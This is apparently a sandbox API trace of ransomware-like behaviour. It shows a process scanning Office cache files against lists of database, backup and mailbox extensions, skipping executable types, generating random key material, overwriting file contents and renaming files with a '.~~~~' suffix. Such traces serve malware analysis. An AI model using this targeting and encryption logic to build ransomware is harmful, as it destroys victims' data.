	[0076.378] lstrlenW (lpString=".bac") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".bac") returned 0x0
	[0076.378] lstrlenW (lpString=".mdf") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".mdf") returned 0x0
	[0076.378] lstrlenW (lpString=".BAK") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".BAK") returned 0x0
	[0076.378] lstrlenW (lpString=".BAC") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".BAC") returned 0x0
	[0076.378] lstrlenW (lpString=".dbs") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dbs") returned 0x0
	[0076.378] lstrlenW (lpString=".vhdx") returned 5
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".vhdx") returned 0x0
	[0076.378] lstrlenW (lpString=".NDF") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".NDF") returned 0x0
	[0076.378] lstrlenW (lpString=".dat") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dat") returned 0x0
	[0076.379] lstrlenW (lpString=".DBS") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DBS") returned 0x0
	[0076.379] lstrlenW (lpString=".CKP") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".CKP") returned 0x0
	[0076.379] lstrlenW (lpString=".edb") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".edb") returned 0x0
	[0076.379] lstrlenW (lpString=".PST") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".PST") returned 0x0
	[0076.379] lstrlenW (lpString=".dbf") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dbf") returned 0x0
	[0076.379] lstrlenW (lpString=".SQL") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".SQL") returned 0x0
	[0076.379] lstrlenW (lpString=".pst") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".pst") returned 0x0
	[0076.379] lstrlenW (lpString=".dbv") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dbv") returned 0x0
	[0076.379] lstrlenW (lpString=".SDF") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".SDF") returned 0x0
	[0076.379] lstrlenW (lpString=".dtxs") returned 5
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dtxs") returned 0x0
	[0076.379] lstrlenW (lpString=".db3") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".db3") returned 0x0
	[0076.379] lstrlenW (lpString=".OST") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".OST") returned 0x0
	[0076.379] lstrlenW (lpString=".dbx") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dbx") returned 0x0
	[0076.379] lstrlenW (lpString=".DB3") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DB3") returned 0x0
	[0076.379] lstrlenW (lpString=".DAT") returned 4
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DAT") returned 0x0
	[0076.379] lstrlenW (lpString=".VHDX") returned 5
	[0076.379] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".VHDX") returned 0x0
	[0076.380] lstrlenW (lpString=".ndf") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".ndf") returned 0x0
	[0076.380] lstrlenW (lpString=".DB") returned 3
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DB") returned 0x0
	[0076.380] lstrlenW (lpString=".sql") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".sql") returned 0x0
	[0076.380] lstrlenW (lpString=".MYD") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".MYD") returned 0x0
	[0076.380] lstrlenW (lpString=".DBT") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DBT") returned 0x0
	[0076.380] lstrlenW (lpString=".ACCDB") returned 6
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".ACCDB") returned 0x0
	[0076.380] lstrlenW (lpString=".fdb") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".fdb") returned 0x0
	[0076.380] lstrlenW (lpString=".bak") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".bak") returned 0x0
	[0076.380] lstrlenW (lpString=".myd") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".myd") returned 0x0
	[0076.380] lstrlenW (lpString=".DTXS") returned 5
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DTXS") returned 0x0
	[0076.380] lstrlenW (lpString=".ckp") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".ckp") returned 0x0
	[0076.380] lstrlenW (lpString=".dbt") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dbt") returned 0x0
	[0076.380] lstrlenW (lpString=".db") returned 3
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".db") returned 0x0
	[0076.380] lstrlenW (lpString=".TXT") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".TXT") returned 0x0
	[0076.380] lstrlenW (lpString=".MDF") returned 4
	[0076.380] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".MDF") returned 0x0
	[0076.380] lstrlenW (lpString=".bdb") returned 4
	[0076.381] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".bdb") returned 0x0
	[0076.381] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.381] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.381] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.384] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.384] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19637383211) returned 1
	[0076.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x976c4fd0, dwHighDateTime=0x1d60e1e)) 
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a33a8
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33a8 | out: hHeap=0x300000) returned 1
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8218
	[0076.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0076.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.384] GetLastError () returned 0x0
	[0076.385] GetLastError () returned 0x0
	[0076.385] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.385] GetLastError () returned 0x0
	[0076.385] GetLastError () returned 0x0
	[0076.385] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x6a3b, lpOverlapped=0x0) returned 1
	[0076.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff95c5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.387] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x6a3b, lpOverlapped=0x0) returned 1
	[0076.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.387] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.387] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.387] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.388] CloseHandle (hObject=0x130) returned 1
	[0076.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.388] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.~~~~")) returned 1
	[0076.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0076.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.391] GetLastError () returned 0x0
	[0076.391] RtlWakeConditionVariable () returned 0x365f70
	[0076.391] GetCurrentThreadId () returned 0x9cc
	[0076.391] GetCurrentThreadId () returned 0x9cc
	[0076.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0076.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33e0 | out: hHeap=0x300000) returned 1
	[0076.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0076.391] lstrlenW (lpString=".scr") returned 4
	[0076.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".scr") returned 0x0
	[0076.391] lstrlenW (lpString=".cmd") returned 4
	[0076.391] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".cmd") returned 0x0
	[0076.391] lstrlenW (lpString=".dll") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dll") returned 0x0
	[0076.392] lstrlenW (lpString=".bat") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".bat") returned 0x0
	[0076.392] lstrlenW (lpString=".cpl") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".cpl") returned 0x0
	[0076.392] lstrlenW (lpString=".sys") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".sys") returned 0x0
	[0076.392] lstrlenW (lpString=".msc") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".msc") returned 0x0
	[0076.392] lstrlenW (lpString=".com") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".com") returned 0x0
	[0076.392] lstrlenW (lpString=".lnk") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".lnk") returned 0x0
	[0076.392] lstrlenW (lpString=".msp") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".msp") returned 0x0
	[0076.392] lstrlenW (lpString=".pif") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".pif") returned 0x0
	[0076.392] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch="msp\r\n.pif") returned 0x0
	[0076.392] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.392] lstrlenW (lpString=".sqb") returned 4
	[0076.392] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".sqb") returned 0x0
	[0076.392] lstrlenW (lpString=".ost") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".ost") returned 0x0
	[0076.393] lstrlenW (lpString=".txt") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".txt") returned 0x0
	[0076.393] lstrlenW (lpString=".mdt") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".mdt") returned 0x0
	[0076.393] lstrlenW (lpString=".BDB") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".BDB") returned 0x0
	[0076.393] lstrlenW (lpString=".eql") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".eql") returned 0x0
	[0076.393] lstrlenW (lpString=".DBF") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DBF") returned 0x0
	[0076.393] lstrlenW (lpString=".EQL") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".EQL") returned 0x0
	[0076.393] lstrlenW (lpString=".FDB") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".FDB") returned 0x0
	[0076.393] lstrlenW (lpString=".EDB") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".EDB") returned 0x0
	[0076.393] lstrlenW (lpString=".DACPAC") returned 7
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DACPAC") returned 0x0
	[0076.393] lstrlenW (lpString=".VHD") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".VHD") returned 0x0
	[0076.393] lstrlenW (lpString=".DBV") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DBV") returned 0x0
	[0076.393] lstrlenW (lpString=".dacpac") returned 7
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dacpac") returned 0x0
	[0076.393] lstrlenW (lpString=".sdf") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".sdf") returned 0x0
	[0076.393] lstrlenW (lpString=".accdb") returned 6
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".accdb") returned 0x0
	[0076.393] lstrlenW (lpString=".DBX") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DBX") returned 0x0
	[0076.393] lstrlenW (lpString=".MDT") returned 4
	[0076.393] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".MDT") returned 0x0
	[0076.393] lstrlenW (lpString=".SQB") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".SQB") returned 0x0
	[0076.394] lstrlenW (lpString=".vhd") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".vhd") returned 0x0
	[0076.394] lstrlenW (lpString=".bac") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".bac") returned 0x0
	[0076.394] lstrlenW (lpString=".mdf") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".mdf") returned 0x0
	[0076.394] lstrlenW (lpString=".BAK") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".BAK") returned 0x0
	[0076.394] lstrlenW (lpString=".BAC") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".BAC") returned 0x0
	[0076.394] lstrlenW (lpString=".dbs") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dbs") returned 0x0
	[0076.394] lstrlenW (lpString=".vhdx") returned 5
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".vhdx") returned 0x0
	[0076.394] lstrlenW (lpString=".NDF") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".NDF") returned 0x0
	[0076.394] lstrlenW (lpString=".dat") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dat") returned 0x0
	[0076.394] lstrlenW (lpString=".DBS") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".DBS") returned 0x0
	[0076.394] lstrlenW (lpString=".CKP") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".CKP") returned 0x0
	[0076.394] lstrlenW (lpString=".edb") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".edb") returned 0x0
	[0076.394] lstrlenW (lpString=".PST") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".PST") returned 0x0
	[0076.394] lstrlenW (lpString=".dbf") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dbf") returned 0x0
	[0076.394] lstrlenW (lpString=".SQL") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".SQL") returned 0x0
	[0076.394] lstrlenW (lpString=".pst") returned 4
	[0076.394] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".pst") returned 0x0
	[0076.394] lstrlenW (lpString=".dbv") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".dbv") returned 0x0
	[0076.395] lstrlenW (lpString=".SDF") returned 4
	[0076.395] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpSrch=".SDF") returned 0x0
	[0076.395] lstrlenW (lpString=".dtxs") returned 5
